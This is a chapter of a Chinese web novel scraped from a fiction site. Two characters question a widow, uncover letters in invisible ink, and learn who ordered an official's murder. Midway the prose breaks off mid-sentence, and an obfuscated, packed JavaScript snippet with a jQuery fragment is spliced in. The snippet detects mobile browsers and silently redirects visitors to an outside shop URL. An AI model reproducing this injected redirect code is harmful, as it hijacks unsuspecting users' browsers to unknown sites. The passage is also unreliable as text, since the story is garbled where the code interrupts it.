文趣网 > 都市小说 > 半纸云 > 9. 第九章:人命贪账(二)
    信上所写的“妾身”,大抵就是金氏了,但“阁下”是谁,姜岁疑不得而知。

    她观此信,大致意思应当是,她与叶衔青不请自来,金氏一边拖住他们,一边向这位“阁下”传信,寻求帮助。

    可为何是求“平安富贵”?现下的情况,怎么看也太贪心了些。

    更奇怪的是,哪怕只有只言片语,此间亦未曾提及沈家家主沈廉。

    莫非沈家是由金氏做主?她总觉得哪里不对。

    想到之前那两名死士,他们的主人应该就是这位“阁下”。

    沈家竟有这般大的能耐,能让京中养得起死士的权贵相护?

    还是说,那人与沈廉的莫名辞官有关,或者有可能直接关系到任彦的失踪?

    目前的线索还是太少,姜岁疑明白,拖得越久,于他们而言越不利。

    不过她也不沮丧,毕竟反过来看,一有人来访,不问目的便要报信,只能说明此地令人无法安心,才需他人帮助,这反而于他们有好处。

    何况那两个死士已然死于她手,沈府想必没什么阻碍,在幕后之人得知实情之前,他们尽可赌一把。

    商陆会拦截送出去的一切风声的,作为骨生楼精心培养出来的杀手,姜岁疑对他很有信心。

    她对自己,显然更有信心。

    她出去的片刻时间里,叶衔青显然没能从金氏口中套出话来。

    姜岁疑料到她吃硬不吃软,装都懒得装了,直接鞘里拔剑,控制力道敲在桌上,震得茶水四溅,壶盏碰响。

    那金氏骇了一跳,连叶衔青都被她惊得一哽。

    少女不多废话,直接朗声:“沈廉在哪?”

    金氏心中恐惧,只冲着门外不停喊:“来人,来人——”

    下一瞬,剑锋便搁在了女人纤细的脖颈上,转眼便要见血。

    女人平生从未见过这种场面,竟连躲闪也忘了,只是委屈地傻傻不动,自然也噤了声。

    姜岁疑嗤之以鼻。

    叶衔青闲了下来,靠在椅背上呷茶,目光跟着少女的一举一动。

    “再问你一次,沈廉在哪?”

    金氏怕事,但她更怕死,索性两眼一闭,狠下心道:“主君、主君他前些日子,就病逝了。”

    “死了?”

    姜岁疑诧异:“怎么死的?”

    金氏汗流浃背,慌忙之下找了个理由:“就、就是突发心悸而亡,大夫也抢救无效。”

    这时,一旁始终沉默的少年忽而冷笑了声。

    再开口时,他的语气截然不同,全然不似方才温润如玉的模样。

    “金夫人,我好心劝你,不想死的话,最好说实话,否则,我可不保证这位姑娘会做什么。”

    姜岁疑目光在他手中扇子上停留一瞬,瞪了他一眼。

    “再给你一次机会,说清楚沈廉到底怎么死的。”

    金氏吓得不行,泪珠大颗大颗地掉,声音哽咽。

    “主君他,他的确不是病死的,而是被人害死的。”

    姜岁疑循循渐进:“被谁?”

    “妾身也不知。”

    姜岁疑皱眉。

    见她反应,金氏忙道:“妾身的确不知主君究竟是为何人所害,不过继主君走后,有一位出手阔绰的阁下给了妾身许多钱财,要妾身勿将此事外传,便可保一条活路。”

    二人闻言,若有所思。

    叶衔青微沉了沉神色,问:“沈廉何时遇害身亡的?”

    金氏想了想道:“约莫三个月前。”

    三个月前,正是沈廉辞官归隐后不久。

    也就是说,他几乎刚辞官,杀他的人便已经追到了家门口。

    这样看来,沈廉果然是知道些什么,才会被人杀人灭口。

    但死无对证,沈廉掌握的线索,他们又从何得知呢?

    想到那封空白的信,姜岁疑问:“沈廉的书房在哪?”

    金氏愣了一瞬,顶着满脸泪痕道:“我带你们去。”

    叶衔青随即起身,跟上二人。

    金氏轻车熟路,带着对二人莫名的恐惧,三步并作两步到了久不曾来过人的房间门口。

    “就是这里了。”

    她只是一个小门小户的妇人而已,不知道他们来此要做什么,也不知他们的目的,但她知道,自己命仅仅在他们的掌心之间。

    倘若听话就能保住一条命,她自然毫不犹豫。

    毕竟什么都没有活着重要,活着才有大富大贵,不是么。

    金氏很自觉地待在外面,留姜岁疑叶衔青二人进屋。

    书房大概有好一段时间没人来了,积了薄薄一层灰也无人清扫,他们默契地分开探查。

    姜岁疑顺着一路摸过去,就连烛台也举起来看了看,榻上的凉席下也没放过,一顿动作惹得叶衔青频频侧目。

    此刻他们二人就真如同寻常贵公子与小侍卫一般,不管一个再怎么胡闹,另一个都给她兜底。

    她去搜四方角落,他便去找那些看得见摸得着的、显眼的地方。

    而当他拉开书架上的柜门,看见里面静静躺着的宣纸时,还是讶异了一瞬。

    “怎么了?”姜岁疑瞥见他没了动静,走过来询问。

    随后那宣纸同样闯入了她的视野,与之相并的,还有挨着的一只沾了白垢的孤零零的蜡烛。

    叶衔青正好奇着这里怎会出现一只蜡烛,姜岁疑却似乎想到了什么。

    方才她搬烛台的时候,里面并无燃剩的蜡痕,甚至是干干净净,没有一丝用过蜡烛的痕迹。

    有一瞬她还觉得古怪,为何这房中没有蜡烛。

    原来是在这里。

    可是,为何会将蜡烛放在这里,是沈廉生前刻意所为么?

    思及此时,叶衔青刚好将宣纸拿出来,谨慎地观察。

    “这上面,好像有股味道。”

    姜岁疑快步走近,问:“什么味道?”

    没等他回答,她便自己凑上去,在纸边轻轻一嗅。

    叶衔青皱了皱眉,将纸面拿近她,自己埋头思索。

    “说不清楚,大抵是放久了味也散了,只有股淡淡的酸味。”

    “酸味……酸味?”

    姜岁疑思绪忽顿,随后脑海中浮现出一众事物,尽数串联起来。

    刑部主事房里的暗格,沈府的书柜,两张空白的纸,摆放古怪的蜡烛,还有莫名其妙的酸味。

    姜岁疑最后看了一眼蜡烛,心中已是恍然大悟。

    她伸手把蜡烛捧了出来,转头问叶衔青:“有火折子么?”

    问完她便有些后悔,以为他这读书人不会随身带这种东西。

    然而叶衔青想也没想,就从怀里摸出一把给她。

    姜岁疑也没再废话,打亮火焰点燃蜡烛,将先前刑部找到那封信平铺开来,举在火焰之上任它灼烧。

    当看见纸不仅没被烧坏,还逐渐显现出黑色的字迹来时,二人皆是一怔。

    “此信无字,需以火炙显书,方见真言。”

    姜岁疑从小在骨生楼也算见多识广了,早便听说过这般特性,今日倒还是头一回见。

    不过是一种密书制法,以酸物汁液涂抹题字,干后以火灼之,方可显形。

    二人沉默着,看着字迹愈来愈清晰。

    那封信上的内容说长不长,说短不短,但每一句话摆出去,都是能让朝中官员咋舌的程度,听了就会掉脑袋。

    然这封信想必是写时顾虑颇多,其中事由不甚粗略含蓄,应也有避免被旁人发现的缘故在里面,即使从头到尾一字不落,姜岁疑也只能将个中首尾分析个七七八八。

    左右不过是沈廉发现了某人贪赃枉法一类事的猫腻,正心惊胆战想要辞官远离

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17583136|205149||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    是非,却被提前发现以家人要挟,又加以财富诱惑试图息事宁人。

    本来这样好的条件,对于只想安稳度日的沈家人而言已经绰绰有余,可那人却不放心。

    就如瓷器生了皱痕,总担心它会碎,又何况本就非死物的人呢?倒不如一绝后患。

    而接着烧灼那份遗书便能看见,被沈廉精心藏起来的,寄希望于后世人的,一个九品小官的公道。

    ——微臣沈廉,字昌德,年四十,知吾不久于世,故作此书。

    臣昔日任刑部主事,老实本分,不曾有失。然时运不济,误凭手中折窥见贵人事,明知包庇有罪,仍念及府上亲眷无辜,遂自乞骸骨,有负皇恩。

    贵人予财,慑作交易,凡人惜命,以命换银。臣言而有信,瞒贵人事,不与旁人言。奈何贵人难心安,必将取吾命。

    然臣庸庸一生,无有大成,区区九品,也算皇恩。纵无青云平步,也有衣食无忧。臣既知情,较之苟活见来日大周百姓苦,不如一死,寄责任于后来人。

    吾妻无知无德,便是蠢笨,或可无忧无虑二十载,不受牵连。

    观此书人,时值吾亡后。若有心者,万望以此为证,上书其诚;若无心者,别无他法,大可持此交予瞿相,也算吾此生做了一场豪赌。

    另附一求,勿将此书令金氏知晓,吾妻心软,恐生随葬之心。

    前刑部主事,沈昌德绝笔。

    火舌跃动,燃蜡落尽。

    他们安静地看完了这位籍籍无名小官员的肺腑之言,半晌不得言。

    在来之前,他们从未揣测过,沈廉究竟是个什么样的人。

    但观尽此书,竟让他们的初心都有了前所未有的颤动。

    少年们都是此生头一回,义无反顾投身到一场棋局中,混进了朝廷污浊的浑水里,哪怕身边尽是迷雾,他们依然不知天高地厚。

    而凡事皆有代价,他们必须看见、认清、深刻地知道。

    知道这世间不是非黑即白,他们要走的路,一个人走不下去。

    姜岁疑将信与遗书整整齐齐地卷起,揣进怀里。

    “还要查么?”叶衔青似笑非笑问。

    “当然要,”姜岁疑回身看他,挑衅般道,“你那么聪明,可别告诉我,你没看出来这幕后主使是谁。”

    “怎么会?”

    少年勾了勾唇,扇子挡住的脸只露出一双满是笑意的眼睛。

    “我自然看出来了,不就是我们的好太子殿下嘛。”

    一人可令来日整个大周百姓苦,又能与瞿观唱反调,除了那自以为是的程韦还能有谁?

    杀沈廉果断,对可能有他把柄的任彦同样毫不留情,丝毫沉不住气,实在找不出第二人了。

    见他反应果真跟得上自己,姜岁疑不免有些高兴,却不想让人看出来,于是背着他往外走。

    “就他还太子?很快就不是了。”

    叶衔青快步跟上,眼中笑意更浓。

    姜岁疑这话要是放在外面,不出两个时辰就得来人将她抓去大理寺牢狱里待着了,不过他这里可不管。

    左右她说的不错,程韦本来就不是个东西。

    “你是打算把他撵出东宫,那这继承人之位换谁来?”

    总觉有股温热气息在靠近,姜岁疑在空中挥了挥手,脸颊有不易察觉的微烫。

    “换谁来都行,关我什么事。”

    少女越走越快,还来不及同金氏言说,已大步流星地走了出去。

    叶衔青只得随意打了声招呼,飞速跟上去,听见她在不远处脆声催促。

    “还不快些,任彦还没找到呢,出了事都怨你!”

    少年终于追上她,与她并排站在一起,垂眸如见月。

    怎么能都怨他呢?

    可他不由自主,说出来的却是:

    “行,都怨我……”